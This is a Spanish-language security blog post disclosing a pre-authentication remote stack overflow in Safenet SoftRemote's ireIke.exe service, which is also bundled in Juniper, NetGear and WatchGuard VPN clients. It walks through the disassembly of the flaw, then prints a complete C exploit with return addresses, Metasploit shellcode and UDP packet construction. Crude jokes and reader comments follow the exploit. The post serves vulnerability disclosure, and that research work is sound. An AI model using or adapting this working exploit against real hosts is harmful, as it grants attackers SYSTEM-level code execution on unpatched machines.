Random IRC quote :      <gabriel> a mi me goza mil <madalenasbuenas> pues te akuso de desacato

Safenet is not so safe.

Hola.
Hoy nos vamos a pasar por la piedra al «estandar de facto» ( con permiso de Cisco ) en lo que a clientes VPN se refiere: Safenet SoftRemote. Veremos como lograr un stack overflow en su servicio IKE ireIke.exe, que corre con privilegios de SYSTEM.
Asi que «Pre-auth Remote stack overflow» + «SYSTEM» = risas reliables.

Es un fallo que descubri hace algunos meses y hoy ya se dispone de parche.

Además de como su propio producto, lo ofrecen como solución OEM para terceros. Debido a esto hay multitud de clientes VPN que están afectados por esta vulnerabilidad, entre los más importantes tenemos a

  • Juniper NetScreen Remote
  • NetGear Prosafe VPN client
  • WatchGuard Mobile User VPN Client

  • netgear

    En este post vamos a usar el cliente de Juniper como cabeza de turco, pero lo aquí expuesto se puede extrapolar fácilmente a los demás clientes afectados.
    Detalles técnicos
    El servicio ireIke.exe escucha por defecto en el puerto UDP 62514.
    Tengo serias dudas de que este puerto debiera estar disponible para todas las interfaces, ya que lo que he visto es más destinado a un protocolo IPC interno. En cualquier caso así es como lo bindean.

    Modulo: ireIke.exe
    .text:0043C8E0 sub_43C8E0 proc near ; CODE XREF: sub_41A8B0+295#p
    .text:0043C8E0 ; sub_437F00+442#p …
    .text:0043C8E0
    .text:0043C8E0 WSAData = WSAData ptr -190h
    .text:0043C8E0 arg_0 = dword ptr 4
    []
    .text:0043CAF4 loc_43CAF4: ; CODE XREF:
    sub_43C8E0+1ED#j
    .text:0043CAF4 ; sub_43C8E0+208#j
    .text:0043CAF4 mov eax, dword_46F2BC
    .text:0043CAF9 push eax ; int
    .text:0043CAFA push 0F432h ; 62514 – IPC socket
    .text:0043CAFF push 11h ; int
    .text:0043CB01 push 2 ; af
    .text:0043CB03 call sub_43B850 ; binds
    .text:0043CB08 add esp, 10h
    .text:0043CB0B cmp eax, edi
    .text:0043CB0D mov dword_46F280, eax
    .text:0043CB12 jnz short loc_43CB34
    .text:0043CB14 test byte_45ED58, bl
    .text:0043CB1A jz short loc_43CB34
    .text:0043CB1C push offset SourceName ; "IreIKE"
    .text:0043CB21 push offset aSUnableToBin_1 ; "%s: Unable to
    bind IPC socket!"
    .text:0043CB26 mov dword_479FF8, ebx
    .text:0043CB2C call sub_437020
    .text:0043CB31 add esp, 8
     

    Cuando ireIKE.exe recibe un paquete UDP en ese puerto, usa el quinto byte como Opcode. Implemente 0x19 Opcodes diferentes.

    .text:00449E19 movsx eax, byte ptr [ebx+4] ; Opcode
    .text:00449E1D add eax, 0FFFFFFD8h ;
    .text:00449E20 mov [esp+3F4h+var_3DC], ebp
    .text:00449E24 cmp eax, 19h ; switch 26 cases ‘Opcodes’
    .text:00449E27 ja loc_44AB78 ; default
    .text:00449E27 ; jumptable 00449E35
    cases 7,9,10,14,16-18,20-24
    .text:00449E2D xor edx, edx
    .text:00449E2F mov dl, ds:byte_44ABE4[eax]
    .text:00449E35 jmp ds:off_44ABA8[edx*4] ; switch jump
     

    De esta manera tenemos que :

  • Los 4 primeros bytes del paquete se usan como identificador. Un valor de 1 equivaldrá a un paquete IPC.
  • El siguiente byte es usado como Opcode, empezando en 0x41.
  • El payload asociado a cada opcode empieza en el décimo byte.
  • text:0044A9B3 loc_44A9B3: ; CODE XREF:
    sub_449DA0+95#j
    .text:0044A9B3 ; DATA XREF: .text:off_44ABA8#o
    .text:0044A9B3 lea ebp, [ebx+9]; jumptable 00449E35 case 25
    .text:0044A9B6 or ecx, 0FFFFFFFFh
    .text:0044A9B9 mov edi, ebp
    .text:0044A9BB xor eax, eax
     

    Una vez comprobados ciertos datos, ireIke.exe busca en nuestro paquete un nombre de conexión válido. Si no lo encuentra invoca una rutina de errorlogging. Esta rutina es donde se encuentra el fallo.Veamos:

    .text:0044AA2C push ebp ; char
    .text:0044AA2D push offset aSUnrecognizedC ; "%s –
    unrecognized connection name."
    .text:0044AA32 mov dword_479FF8, 20h
    .text:0044AA3C call sub_437020
    .text:0044AA41 add esp, 8
    .text:0044AA44
    .text:0044AA44 loc_44AA44: ; CODE XREF:
    sub_449DA0+C8A#j
    .text:0044AA44 push 0 ; int
    .text:0044AA46 push 0 ; int
    .text:0044AA48 push 0 ; int
    .text:0044AA4A push ebp ; char *
    .text:0044AA4B push 80h ; char
    .text:0044AA50 call sub_44AD00 ; Common error routine

    ||
    \ /

    ; int __cdecl sub_44AD00(char,char *,int,int,int)
    sub_44AD00 proc near
    var_2F8= dword ptr -2F8h
    to= sockaddr ptr -2F4h
    buf= byte ptr -2E4h
    var_2E0= byte ptr -2E0h
    var_2D9= dword ptr -2D9h
    var_2D5= dword ptr -2D5h
    var_2D1= byte ptr -2D1h
    var_D4= dword ptr –0D4h ; ATENCIÓN!!
    arg_0= byte ptr 4
    arg_4= dword ptr 8
    arg_8= dword ptr 0Ch
    arg_C= dword ptr 10h
    arg_10= dword ptr 14h
    sub esp, 2F8h
    push ebx
    []
    .text:0044AD9F lea edx, [esp+314h+var_D4]
    .text:0044ADA6 push edi ; char *
    .text:0044ADA7 push edx ; int
    .text:0044ADA8 mov [esp+31Ch+buf+3], 1
    .text:0044ADAD mov [esp+31Ch+buf+2], bl
    .text:0044ADB1 mov [esp+31Ch+buf+1], bl
    .text:0044ADB5 mov [esp+31Ch+buf], bl
    .text:0044ADB9 mov [esp+31Ch+var_2E0], 2Fh
    .text:0044ADBE mov [esp+31Ch+var_2D9], esi
    .text:0044ADC2 call sub_40F890
    .text:0040F890 ; int __cdecl sub_40F890(int,char *,int,int)
    .text:0040F890 sub_40F890 proc near ; CODE XREF:
    sub_408D30+17B#p
    .text:0040F890 ; sub_410850+108#p …
    .text:0040F890
    .text:0040F890 var_28 = byte ptr -28h
    .text:0040F890 arg_0 = dword ptr 4
    .text:0040F890 arg_4 = dword ptr 8
    .text:0040F890 arg_8 = dword ptr 0Ch
    .text:0040F890 arg_C = dword ptr 10h
    .text:0040F890
    .text:0040F890 mov edx, [esp+arg_4]
    .text:0040F894 sub esp, 28h
    .text:0040F897 or ecx, 0FFFFFFFFh
    .text:0040F89A xor eax, eax
    .text:0040F89C push ebx
    .text:0040F89D push ebp
    .text:0040F89E push esi
    .text:0040F89F push edi
    .text:0040F8A0 mov edi, edx
    .text:0040F8A2 mov ebp, [esp+38h+arg_0]
    .text:0040F8A6 repne scasb
    .text:0040F8A8 not ecx
    .text:0040F8AA sub edi, ecx
    .text:0040F8AC push 5Ch ; int
    .text:0040F8AE mov eax, ecx
    .text:0040F8B0 mov esi, edi
    .text:0040F8B2 mov edi, ebp
    .text:0040F8B4 push edx ; char *
    .text:0040F8B5 shr ecx, 2
    .text:0040F8B8 rep movsd ; TRAKATRA!!!! FALLO GORDO!!
    .text:0040F8BA mov ecx, eax
    .text:0040F8BC and ecx, 3
    .text:0040F8BF rep movsb
     

    Una vez que el programa retorna de sub_44AD00, nuestra shellcode toma el control. Y ahora el exploit.

    El fallo tiene parche disponible, pero es de hoy mismo así que ojito si usas algun cliente afectado. Actualizalo cuanto antes.

    #define PORT            62514
    #define MAX_SIZE        0x20D

    typedef struct {
            const char *szTarget;
            ULONG_PTR retAddr;
    } TARGET;

    //// Add targets
    //// Any ret address in the form "call ebp" "jmp ebp"
    //// would transfer the control to our shellcode.
    //// http://metasploit.com/users/opcode/msfopcode.cgi

    TARGET targets[] = {
            { "Windows XP SP2 [ESP]", 0x73d561cc }, //call ebp – MFC42.dll
            { "Windows XP SP2 [EN]", 0x7c923da3 }, //jmp ebp – ntdll.dll
                    { NULL,-1}
    };

    int main(int argc, char* argv[])
    {

            void *buf, *buf2 = NULL;

            /* win32_exec –  EXITFUNC=thread CMD=calc.exe Size=164 Encoder=Pex http://metasploit.com */
            unsigned char scode[] =
            "\x2b\xc9\x83\xe9\xdd\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x79"
            "\xab\x2b\x7f\x83\xee\xfc\xe2\xf4\x85\x43\x6f\x7f\x79\xab\xa0\x3a"
            "\x45\x20\x57\x7a\x01\xaa\xc4\xf4\x36\xb3\xa0\x20\x59\xaa\xc0\x36"
            "\xf2\x9f\xa0\x7e\x97\x9a\xeb\xe6\xd5\x2f\xeb\x0b\x7e\x6a\xe1\x72"
            "\x78\x69\xc0\x8b\x42\xff\x0f\x7b\x0c\x4e\xa0\x20\x5d\xaa\xc0\x19"
            "\xf2\xa7\x60\xf4\x26\xb7\x2a\x94\xf2\xb7\xa0\x7e\x92\x22\x77\x5b"
            "\x7d\x68\x1a\xbf\x1d\x20\x6b\x4f\xfc\x6b\x53\x73\xf2\xeb\x27\xf4"
            "\x09\xb7\x86\xf4\x11\xa3\xc0\x76\xf2\x2b\x9b\x7f\x79\xab\xa0\x17"
            "\x45\xf4\x1a\x89\x19\xfd\xa2\x87\xfa\x6b\x50\x2f\x11\x44\xe5\x9f"
            "\x19\xc3\xb3\x81\xf3\xa5\x7c\x80\x9e\xc8\x4a\x13\x1a\x85\x4e\x07"
            "\x1c\xab\x2b\x7f";
           
            int i;
            WSADATA ws;
            SOCKET udp_socket;
            struct sockaddr_in peer;

            if( argc < 3 )
            {
                    printf("\nMultiple Vendors – Safenet ireIke.exe Connection Name remote Stack Overflow – Ruben Santamarta\n");
                    printf("\nusage: exploit.exe ip TargetNumber \n");
                   
                    for( i = 0; targets[i].szTarget; i++ )
                    {
                            printf("\n[ %d ] – %s", i, targets[i].szTarget);
                    }
                    printf("\n\nexample: exploit 192.168.1.44 0 \n");
                    exit(0);
            }

            WSAStartup(0x0202,&ws);
           
            peer.sin_family = AF_INET;
            peer.sin_port = htons(PORT);
            peer.sin_addr.s_addr = inet_addr(argv[1]);

            udp_socket = socket(AF_INET, SOCK_DGRAM, 0);

            buf = (void*) calloc(1, MAX_SIZE);
           
            memset(buf, 0x90, MAX_SIZE);
           
            buf2 = (char*)buf+1;

            for(  i = 0; i< MAX_SIZE/sizeof(ULONG_PTR) ; i++ )
            {
                    *((ULONG_PTR*)buf2 + i) =  targets[atoi(argv[2])].retAddr;
            }

            *( (ULONG_PTR*) buf ) = 0x01000000;  // IPC Packet
            *( (char*)buf + 4) = 0x41;                       // 0x19 opcode
           
            memcpy ( ( ( char* ) buf + 9), scode, sizeof(scode)-1);
           
            sendto( udp_socket,
                            (char*)buf,
                            MAX_SIZE,
                            0,
                            (struct sockaddr *)&peer,
                            sizeof(peer));
           
            printf("\nDone.");
            return 0;
    }
     

    Y ahora un bonito cuento.

    ¿Tiene que añadir algo el acusado antes de escuchar la sentencia?:
    - Si señoría, con la venia.
    Adelante
    - Con los dedos de las manos, los dedos de los pies, los cojones y la polla, todos suman 23.

    Fin.

    7 Comentarios para “Safenet is not so safe.”

    1. Comment por matalaz | 06/02/09 at 6:33 am

      Muy buena Ruben!

    2. Comment por otrolector | 06/02/09 at 6:51 am

      no había encontrado alt3kx un fallo similar?

    3. Comment por infi | 06/02/09 at 11:32 am

      Gran trabajo 🙂

    4. Comment por Miguel | 06/02/09 at 3:45 pm

      Muy bueno Ruben!!

    5. Comment por raimon | 06/04/09 at 1:23 pm

      Como la tienes Ruben !!

    6. Comment por Ruben | 06/04/09 at 6:12 pm

      xDDD ke kabron el raimon

    7. Comment por raimon | 06/05/09 at 4:19 am

      No te enfades.
      Quiero decir que estas bien dotado en todos los aspectos.
      Lo sé de oídas

    Se han cerrado los comentarios